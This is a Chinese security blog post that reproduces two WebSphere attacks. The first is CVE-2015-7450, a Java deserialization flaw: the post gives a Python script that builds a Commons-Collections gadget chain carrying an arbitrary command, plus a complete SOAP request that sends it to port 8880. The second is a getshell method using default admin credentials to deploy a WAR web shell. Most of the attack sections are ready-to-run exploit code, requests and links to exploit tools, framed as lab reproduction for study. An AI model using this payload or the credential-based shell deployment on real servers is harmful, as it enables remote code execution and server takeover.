WebSphere 漏洞复现
2022-10-2 00:2:16 Author: 白帽子(查看原文) 阅读量:148 收藏

WebSphere是IBM的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变Web应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。

CVE-2015-7450 远程代码执行

简介

IBM Cognos Business Intelligence（BI）和IBM Tivoli Common Reporting（TCR）都是美国IBM公司的产品。BI是一套商业智能软件。该软件包括报表、仪表板和记分卡等，并可通过分析关键因素与关键干系人等内容，协助企业调整决策。TCR是一套基于Tivoli（轻量级目录访问协议LDAP身份基础架构）的通用报表解决方案。该方案提供定制报表、管理报表和生成报表等功能。IBM Cognos BI中使用的IBM TCR中存在安全漏洞，该漏洞源于Java InvokerTransformer类没有正确处理数据的反序列化。远程攻击者可借助特制的序列化的Java对象利用该漏洞执行任意命令。

影响版本

IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2

环境搭建

docker search WebSphere7docker pull iscrosales/websphere7docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

漏洞复现


WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880，使用的通信协议是https，发送的数据是XML格式的数据。
首先访问8880端口，出现如下界面，则可能存在Java反序列化漏洞

然后将构造的执行命令的payload通过base64编码后放在objectname节点中，通过https发送到服务器端，服务器端调用相应的执行函数，将结果发送给客户端，同样返回的数据也是经过base64编码的。

import base64from binascii import unhexlify
command = "执行的命令"serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")serObj += (chr(len(command)) + command).encode('ascii')serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")serObjB64 = base64.b64encode(serObj).decode()print(serObjB64)


然后将输出的serObjB64，替换到如下数据包中的params节点,发送数据包即可执行

POST / HTTP/1.1Host: 192.168.31.12:8880User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xmlSOAPAction: urn:AdminServiceContent-Length: 8886
<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0"></SOAP-ENV:Header><SOAP-ENV:Body><ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname><operationname xsi:type="xsd:string">getUnsavedChanges</operationname><params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params><signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature></ns1:invoke></SOAP-ENV:Body></SOAP-ENV:Envelope>


利用工具
利用python脚本验证该漏洞

https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/WebSphere/websphere_rce.py


进入docker查看创建的文件：

也可以使用DeserializeExploit.jar该工具进行验证：

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar



后台弱口令Getshell

简介


Websphere现在主流的版本是6-7-8。GetShell方法大致差不多。
6.x至7.0版本都有“默认用户标识admin登录”
默认的管理后台地址：

https://localhost:9043/ibm/console/logon.jsphttp://localhost:9060/ibm/console/logon.jsp


默认管理密码:

system/ managerwebsphere/ websphere


默认端口：

管理控制台端口 9060管理控制台安全端口 9043HTTP传输端口 9080HTTPS传输端口 9443引导程序端口 2809SIP端口 5060SIP安全端口 5061SOAP连接器端口 8880SAS SSL ServerAuth端口 9401CSIV2 ServerAuth 侦听器端口 9403CSIV2 MultiAuth 侦听器端口 9402ORB侦听器端口 9100高可用性管理通讯端口(DCS) 9353服务集成端口 7276服务集成安全端口 7286服务集成器MQ互操作性端口 5558服务集成器MQ互操作性安全端口 5578

影响版本

6.x至7.0
存在弱口令的版本

漏洞复现

1.以7.0版本为例，访问如下地址后，输入admin作为用户表示无需密码即可登录

2.登录成功后选择应用程序类型-WebSphere 企业应用程序-install

3.选择上传war包

4.选择上下文名称

5.安装完成之后点击保存到主配置：

6.选中上传的war包点击启动：

7.访问shell地址：

http://x.x.x.x:9080/tale/index.jsp


参考链接


https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
https://xz.aliyun.com/t/280#toc-23
https://www.t00ls.net/viewthread.php?tid=51654

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Tide安全团队正式成立于2019年1月，是新潮信息旗下以互联网攻防技术研究为目标的安全团队，团队致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室，近三年来在网络安全技术方面开展研发项目60余项，获得各类自主知识产权30余项，省市级科技项目立项20余项，研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

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